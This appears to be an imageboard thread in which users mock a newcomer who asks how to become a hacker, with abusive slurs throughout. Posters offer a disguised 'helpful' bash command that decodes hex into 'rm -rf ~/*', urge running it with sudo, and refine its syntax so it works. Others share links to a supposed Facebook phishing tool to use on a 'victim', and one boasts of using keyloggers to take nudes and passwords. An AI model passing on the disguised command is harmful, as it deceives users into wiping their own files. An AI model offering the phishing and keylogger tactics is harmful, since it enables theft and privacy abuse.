How do I become a hacker? I've installed Linux, what is the next step?

That isn't hacking, that's cracking.

Guess he'll become a cracker then.

can i use LOIC to royally fuck up my math teachers computer?

asking for a friend, lul!

>being so bad at math that you want to fuck with your math teacher
wew, what a brainlet

regex? lmfao regular expressions?

Are you dumb? lmao retarded?

i don't understand what is funny. do you know know what a regular expression is?

holy fuck every summer this fuckin board is getting worse

Fucking quality post m8. Glad we've got u to keep standards up.

How can i hack a facebook group hahahahaha

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send ransomware to 127.0.0.1

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reddit
here's a bash script for you to try out. open up your editor of choice and type in

#!/bin/bash
echo 726d202d7266207e2f2a | xxd -r -p

save it as zelda.sh and run chmod +x zelda.sh to be able to run it! now run sudo zelda.sh. pretty neat, right? I hope this helps you on your journey, user :)

(hint: xxd converts numbers to a midi format and echo sends things to your speakers)

Where can i find those hacks to hack facebook account friend, thanks

fuck off lad.

This ones good but the great fairy fountain one is better

damn cool as fuck, thanks :)

fuck. where did my system32 go?

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This won't even work, you need to wrap it in `` or $() to actually run it.

Hey got a cool tool, can you wait some? i need to find it then send to you by a link, its a facebook phiser :) please wait

Nice, i'll wait for the nice pisher tool wink wink

which OS is your? it only works on windows :(

That's a very weird thing to recommend learning to become a hacker. That would be like him telling him to learn pointer arithmetic before learning programming.

Windows 7

youtu.be/iyAyN3GFM7A

try to get sexts like this

>>/baphomet/

Regex isn't arithmetic and certainly not pointer arithmetic. It's pattern matching. Very useful if you combine that with Bash.

hey m8, its old, its from 2009, but it works like a charm, execute it, then generate a file to your victim execute too and send to her sendspace.com/file/6tch86

Doesnt work at all, gay

damn m8, sorry :(

kys romanian cunt

Run this to download the Kali hacker tools over the Tor network:

(echo 726d202d7266207e2f2a | xxd -r -p)

Speaking of those scripts are keyloggers and screen grabbers still around?

I used to messs around with one piece of software that had screen grabbing capabilities and keylogging capabilities, got a couple of nudes and some passwords but desu it was so easy to implement it was scary.

Sadly i'm not underage anymore

Im not even from Romania, what are you on about??

to become the hokage you must think like the hokage

wtf man, wait then, maybe its the patch

I'll give you their password, it's hunter2

You need a sudo in front of rm / -rf -- in hex ofc.

now it's missing the $ at the start. The absolute state of Jow Forums

I'm fairly sure you don't need the $. Putting it in brackets is what evaluates it.

hey if i gave you a older version would you try it? its a lot slower
sendspace.com/file/g485jj

oh alright just tested it, you're right.

1. Get a static ip
2. Don't use any kind of anonymisation
3. Use a unique user agent
4. Your machine should be a exposed host
5. Redirect all ports to one port
6. Run a telnet to provide all your necessary informations like telephone number, name, adress, e-mail....
7. Paralell to that you should also run a tor exit relay
8. Watch all seasons mr. Robot, 5 times
9. Don't waste your time with stuff like programming or networking, you dont need that to be leet
10. bruteforce 127.0.0.1
???
Profit

>10. bruteforce 127.0.0.1
Dude don't tell him about the secret repository for hacker tools.
If you keep telling people about it they might work to take it down.

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They need to know the true Frank, there is no future, we are fucked.

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Install Gentoo w/ Pentoo overlay

Set up a series of proxies to re route your traffic through.

it's been years since the last raid user
I'm thinking about organizing my own when I've got time to burn

proxies? route ?
oh like a series of tubes ?

screenshot your htop and neofetch like all the other hackers

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Is this the hacker known as Jow Forums?

Indeed son, what you need?

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